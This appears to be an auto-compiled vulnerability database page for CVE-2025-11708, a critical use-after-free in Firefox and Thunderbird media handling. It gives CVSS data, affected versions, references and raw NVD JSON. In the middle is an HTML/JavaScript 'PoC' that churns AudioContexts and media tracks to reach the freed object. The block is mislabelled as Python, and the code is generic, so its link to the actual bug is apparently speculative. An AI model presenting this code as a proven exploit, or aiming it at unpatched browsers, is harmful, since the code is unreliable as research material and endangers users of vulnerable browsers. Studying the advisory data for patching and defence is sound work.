CVE-2025-11708

Description

Use-after-free in MediaTrackGraphImpl::GetInstance(). This vulnerability was fixed in Firefox 144, Firefox ESR 140.4, Thunderbird 144, and Thunderbird 140.4.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:* - VULNERABLE

Mozilla Firefox < 144

Mozilla Firefox ESR < 140.4

Mozilla Thunderbird < 144

Mozilla Thunderbird ESR < 140.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-11708 PoC - Firefox MediaTrackGraphImpl::GetInstance() Use-After-Free -->
<!-- WARNING: This PoC is for educational and authorized testing purposes only -->
<!-- Vulnerability: Use-after-free in MediaTrackGraphImpl::GetInstance() -->
<!-- Affected: Firefox < 144, Firefox ESR < 140.4, Thunderbird < 144 -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11708 PoC</title>
</head>
<body>
    <h1>CVE-2025-11708 - MediaTrackGraphImpl UAF</h1>
    <script>
        // Step 1: Create multiple MediaStream objects to populate MediaTrackGraphImpl
        async function triggerUAF() {
            const streams = [];
            
            // Create numerous media streams to stress the MediaTrackGraphImpl singleton
            for (let i = 0; i < 100; i++) {
                try {
                    const stream = await navigator.mediaDevices.getUserMedia({
                        audio: true,
                        video: false
                    });
                    streams.push(stream);
                } catch (e) {
                    // Permission denied or no device - use synthetic streams
                    break;
                }
            }
            
            // Step 2: Rapidly create and destroy tracks to trigger race condition
            // in MediaTrackGraphImpl::GetInstance()
            for (let i = 0; i < 50; i++) {
                const audioCtx = new AudioContext();
                const oscillator = audioCtx.createOscillator();
                const mediaStreamDest = audioCtx.createMediaStreamDestination();
                oscillator.connect(mediaStreamDest);
                oscillator.start();
                
                // Get tracks from the synthetic stream
                const tracks = mediaStreamDest.stream.getTracks();
                
                // Stop and remove tracks rapidly to trigger UAF
                tracks.forEach(track => {
                    track.stop();
                });
                
                // Force garbage collection hint
                if (window.gc) {
                    window.gc();
                }
                
                // Close audio context
                audioCtx.close();
            }
            
            // Step 3: Attempt to access the freed MediaTrackGraphImpl instance
            // by creating new media operations after destruction
            try {
                const newAudioCtx = new AudioContext();
                const newOscillator = newAudioCtx.createOscillator();
                newOscillator.connect(newAudioCtx.destination);
                newOscillator.start();
                newOscillator.stop();
                newAudioCtx.close();
            } catch (e) {
                // UAF triggered - may cause crash or code execution
                console.log("UAF triggered:", e);
            }
        }
        
        // Trigger the vulnerability
        triggerUAF();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11708
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11708
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11708/
[4] VulDB https://vuldb.com/cve/CVE-2025-11708
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1988931
[6] https://www.mozilla.org/security/advisories/mfsa2025-81/
[7] https://www.mozilla.org/security/advisories/mfsa2025-83/
[8] https://www.mozilla.org/security/advisories/mfsa2025-84/
[9] https://www.mozilla.org/security/advisories/mfsa2025-85/
[10] https://lists.debian.org/debian-lts-announce/2025/10/msg00015.html
[11] https://lists.debian.org/debian-lts-announce/2025/10/msg00031.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11708", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:36.970", "lastModified": "2026-04-13T15:16:39.173", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in MediaTrackGraphImpl::GetInstance(). This vulnerability was fixed in Firefox 144, Firefox ESR 140.4, Thunderbird 144, and Thunderbird 140.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.4.0", "matchCriteriaId": "563626A1-A62C-4F33-A40F-31AC364254E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "144.0", "matchCriteriaId": "CEE2F6DA-4331-4D6D-B01B-610DFDBE1833"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.4.0", "matchCriteriaId": "7C6D96D2-1E0E-4A18-B8B1-21F67E1AB441"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionStartIncluding": "141.0", "versionEndExcluding": "144.0", "matchCriteriaId": "0BD75942-93B9-47A4-9762-05965EBD7FFF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1988931", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-81/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-83/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-84/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-85/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00015.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00031.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}